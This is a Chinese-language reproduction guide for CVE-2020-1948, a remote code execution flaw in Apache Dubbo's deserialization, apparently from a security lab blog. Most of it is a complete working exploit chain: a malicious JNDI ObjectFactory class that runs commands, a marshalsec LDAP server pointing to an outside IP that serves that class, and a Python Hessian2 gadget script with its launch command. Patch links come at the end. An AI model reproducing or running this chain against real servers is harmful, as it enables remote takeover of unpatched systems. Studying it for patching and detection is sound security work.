天天看點

Apache Dubbo反序列化漏洞

#簡介

Dubbo是阿裡巴巴公司開源的一個高性能優秀的服務架構,使得應用可通過高性能的RPC實作服務的輸出和輸入功能,可以和Spring架構無縫內建。

#概述

2020年06月23日, Apache Dubbo 官方釋出了 Apache Dubbo 遠端代碼執行的風險通告,該漏洞編号為CVE-2020-1948,漏洞等級:高危。 Apache Dubbo是一款高性能、輕量級的開源Java RPC架構,它提供了三大核心能力:面向接口的遠端方法調用,智能容錯和負載均衡,以及服務自動注冊和發現。 Apache Dubbo Provider存在反序列化漏洞,攻擊者可以通過RPC請求發送無法識别的服務名稱或方法名稱以及一些惡意參數有效載荷,當惡意參數被反序列化時,可以造成遠端代碼執行。

#影響版本

達博 2.7.0 - 2.7.6

達博 2.6.0 - 2.6.7

Dubbo 2.5.x (官方不再維護)

#環境搭建

運作環境與編譯exp環境jdk版本均為8u121,啟動測試環境

java -jar dubbo.jar
           

啟動後會監聽12345端口

#漏洞複現

服務指紋: 端口狀态服務版本 12345/TCP 打開文本 阿裡巴巴 Dubbo 遠端處理 telnetd 構造poc,我們這裡執行一個ping指令來驗證是否可以執行指令,建立calc.java,

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class calc implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io");
        return null;
    }
}
           

編譯 poc

javac calc.java
           

将編譯好的poc(calc.class)放到web網站目錄裡,確定漏洞主機可以通路到 使用marshalsec項目啟動一個ldap代理服務,marshalsec下載下傳:

https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
           

啟動LDAP代理服務,執行該指令ldap服務會監聽8086端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://139.9.198.30/#calc 8086
           

執行測試腳本,此處測試使用python環境為3.8.0,先安裝依賴包

python3 -m pip install dubbo-py
           

腳本内容(Dubbo.py):

# -*- coding: utf-8 -*-

import sys

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

if len(sys.argv) < 4:
  print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
  print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
  sys.exit()

client = DubboClient(sys.argv[1], int(sys.argv[2]))

JdbcRowSetImpl=new_object(
  'com.sun.rowset.JdbcRowSetImpl',
  dataSource=sys.argv[3],
  strMatchColumns=["foo"]
  )
JdbcRowSetImplClass=new_object(
  'java.lang.Class',
  name="com.sun.rowset.JdbcRowSetImpl",
  )
toStringBean=new_object(
  'com.rometools.rome.feed.impl.ToStringBean',
  beanClass=JdbcRowSetImplClass,
  obj=JdbcRowSetImpl
  )

resp = client.send_request_and_return_response(
  service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
  # 此處可以是 $invoke、$invokeSync、$echo 等,通殺 2.7.7 及 CVE 公布的所有版本。
  method_name='$invoke',
  args=[toStringBean])

output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
  print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
   print('[+] Succeed.')
else:
  print('[!] Output:')
  print(output)
  print('[!] Target maybe not use dubbo-remoting library.')
           

執行腳本

python3 Dubbo.py 192.168.137.173 12345 ldap://139.9.198.30:8086/calc
           
Apache Dubbo反序列化漏洞

dnslog檢視,成功接收到請求

Apache Dubbo反序列化漏洞

ldap服務也可以看到請求轉發

Apache Dubbo反序列化漏洞

彈電腦

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class calc implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        Runtime.getRuntime().exec("calc");
        return null;
    }
}
           

#漏洞修複

更新 2.7.7 版本,并根據以下連結的方法進行參數校驗 https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de 更換協定以及反序列化方式。具體更換方法可參考: http://dubbo.apache.org/zh-cn/docs/user/references/xml/dubbo-protocol.html

#合天網安實驗室實操連結

實操位址 https://www.hetianlab.com/expc.do?w=exp_ass&ec=ECID39ef-c0db-4835-b19f-62f9d8d70d55

#參考

https://github.com/DSO-Lab/defvul/wiki/Apache-Dubbo-CVE_2020_1948-Deserialization-Vulnerability